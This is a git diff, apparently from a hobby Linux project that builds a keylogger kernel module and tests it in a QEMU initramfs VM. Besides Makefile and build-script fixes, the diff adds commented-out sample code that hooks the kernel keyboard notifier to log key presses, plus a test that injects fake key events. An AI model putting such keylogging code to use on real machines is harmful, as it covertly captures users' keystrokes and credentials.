diff options
| -rw-r--r-- | Makefile | 13 | ||||
| -rw-r--r-- | src/daemon/main.c | 2 | ||||
| -rw-r--r-- | src/initramfs-init.sh | 9 | ||||
| -rw-r--r-- | src/module/module.c | 37 | ||||
| -rw-r--r-- | src/tests/test3.c | 50 | ||||
| -rwxr-xr-x | vm.sh | 32 | 
6 files changed, 131 insertions, 12 deletions
| @@ -1,6 +1,6 @@  CC := gcc -ifeq (PROD,1) +ifeq ($(PROD),1)  CFLAGS := -std=c99 -O2 # production flags  else  CFLAGS := -std=c99 -Wall -Wextra -Wpedantic -g -DDEBUG # debug flags @@ -49,12 +49,19 @@ $(DIRS):  	$(MAKE) $(BIND)/$(if $(TARGET),$(TARGET),$@) SUBD=$@  $(DEPD) $(TSTD): $(DEPD) -	$(MAKE) $(BIND)/$@/ SUBD=$@ +	$(MAKE) $(BIND)/$@/ SUBD=$@ SINGLE_OBJ=1 +ifeq ($(SINGLE_OBJ),1) +# generic single object build +$(BIND)/%: $(OBJD)/%.o +	mkdir -p $(dir $@) +	$(CC) $(CFLAGS) $(SFLAGS) $^ -o $@ +else  # generic build  $(BIND)/%: $(COBJS)  	mkdir -p $(dir $@)  	$(CC) $(CFLAGS) $(SFLAGS) $^ -o $@ +endif  # generic compile to obj  $(OBJD)/%.o: $(SRCD)/%.c @@ -77,7 +84,7 @@ $(BIND)/%.ko: $(FILES)  # VM things  vm: vm.sh $(BIND)/$(INITFS_NAME) $(BIND)/$(KERNEL_NAME)  	./vm.sh run -$(BIND)/$(INITFS_NAME): $(SRCD)/initramfs-init.sh module tests +$(BIND)/$(INITFS_NAME): $(SRCD)/initramfs-init.sh module $(TSTD)  	./vm.sh initramfs $@ $<  $(BIND)/$(KERNEL_NAME):  	./vm.sh kernel $@ diff --git a/src/daemon/main.c b/src/daemon/main.c index 876c004..1e562d6 100644 --- a/src/daemon/main.c +++ b/src/daemon/main.c @@ -1,8 +1,6 @@  #include <stdio.h> -#include "test-util.h"  int main(void)  { -    hello();      return 0;  } diff --git a/src/initramfs-init.sh b/src/initramfs-init.sh index a566b57..6a812b9 100644 --- a/src/initramfs-init.sh +++ b/src/initramfs-init.sh @@ -1,12 +1,15 @@ -#!/bin/sh -  # mount the proc file system  mkdir /proc  mount -t proc proc /proc +# create devices +mkdir -p /dev/input +mknod /dev/input/event0 c 13 64 + +# insert module  insmod /usr/keylogger.ko -# run each test +# run tests  echo "$(cd usr; ls -v1 tests | while read line; do tests/$line; echo; done)"  exec /bin/sh diff --git a/src/module/module.c b/src/module/module.c index b3b92af..e41fe75 100644 --- a/src/module/module.c +++ b/src/module/module.c @@ -86,3 +86,40 @@ module_exit(exit_keylogger);  MODULE_LICENSE("GPL");  MODULE_AUTHOR("Kartofen");  MODULE_DESCRIPTION("A simple keylogger kernel module"); + + +// Key logging example code + +// #include <linux/module.h> +// #include <linux/init.h> +// #include <linux/keyboard.h> + +// static struct notifier_block nb; + +// static int keylogger_notify(struct notifier_block *nblock, +//                             unsigned long code, void *_param) +// { +//     struct keyboard_notifier_param *param = _param; + +//     if (code == KBD_KEYCODE && param->value == 1) { +//         printk(KERN_INFO "Key pressed: %d\n", param->value); +//     } + +//     return NOTIFY_OK; +// } + +// static int __init keylogger_init(void) +// { +//     nb.notifier_call = keylogger_notify; +//     register_keyboard_notifier(&nb); +//     return 0; +// } + +// static void __exit keylogger_exit(void) +// { +//     unregister_keyboard_notifier(&nb); +// } + +// module_init(keylogger_init); +// module_exit(keylogger_exit); +// MODULE_LICENSE("GPL"); diff --git a/src/tests/test3.c b/src/tests/test3.c new file mode 100644 index 0000000..d3bcf4a --- /dev/null +++ b/src/tests/test3.c @@ -0,0 +1,50 @@ +int main(void) +{ +    return 0; +} + +// This code is to simulate key presses + +// #include <stdio.h> +// #include <fcntl.h> +// #include <unistd.h> +// #include <linux/input.h> + +// int main() +// { +//     int fd = open("/dev/input/event0", O_WRONLY | O_NONBLOCK); +//     if (fd < 0) { +//         perror("Failed to open device"); +//         return 1; +//     } + +//     struct input_event event; +//     memset(&event, 0, sizeof(event)); +//     event.type = EV_KEY; +//     event.code = KEY_A; +//     event.value = 1; // Key press +//     gettimeofday(&event.time, NULL); + +//     ssize_t ret = write(fd, &event, sizeof(event)); +//     if (ret < 0) { +//         perror("Failed to write event"); +//         close(fd); +//         return 1; +//     } + +//     memset(&event, 0, sizeof(event)); +//     event.type = EV_SYN; +//     event.code = SYN_REPORT; +//     event.value = 0; +//     gettimeofday(&event.time, NULL); + +//     ret = write(fd, &event, sizeof(event)); +//     if (ret < 0) { +//         perror("Failed to write sync event"); +//         close(fd); +//         return 1; +//     } + +//     close(fd); +//     return 0; +// } @@ -2,7 +2,7 @@  function run  { -    # st \ +    st \      qemu-system-x86_64 \  		-kernel "$BIND/$KERNEL_NAME" \  		-initrd "$BIND/$INITFS_NAME" \ @@ -21,15 +21,39 @@ function initramfs      ln -sf busybox $DIR/bin/dmesg      ln -sf busybox $DIR/bin/mount -    # copy the things +    # copy the files in bin      mkdir -p "$DIR/usr"      find "$BIND" -maxdepth 1 -mindepth 1 \           ! -name "*initramfs*" \           ! -name "*kernel*" \           -exec cp -r {} "$DIR/usr" \; -    # copy the script and the bin -    cp $2 $DIR/init +    # copy a bunch of kernel modules +    MODULES="usbhid usbcore hid" +    modinfo -F filename $MODULES | while read mod; do +        if [ "$mod" = "(builtin)" ]; then continue; fi + +        mkdir -p "$DIR/$(dirname $mod)" + +        # uncompress if compressed +        if [[ $mod == *.ko.zst ]]; then +            zstd -d -c "$mod" > "$DIR/$(dirname $mod)/$(basename $mod .zst)" +        else +            cp "$mod" "$DIR/$mod" +        fi +    done + +    # make the init script +    cat <<EOF > "$DIR/init" +#!/bin/sh +# modproble all modules +for mod in $MODULES; do +    modprobe "\$mod" +done +EOF + +    # append the script written in src/ +    cat $2 >> "$DIR/init"      chmod +x $DIR/init      # make image and delete folder | 
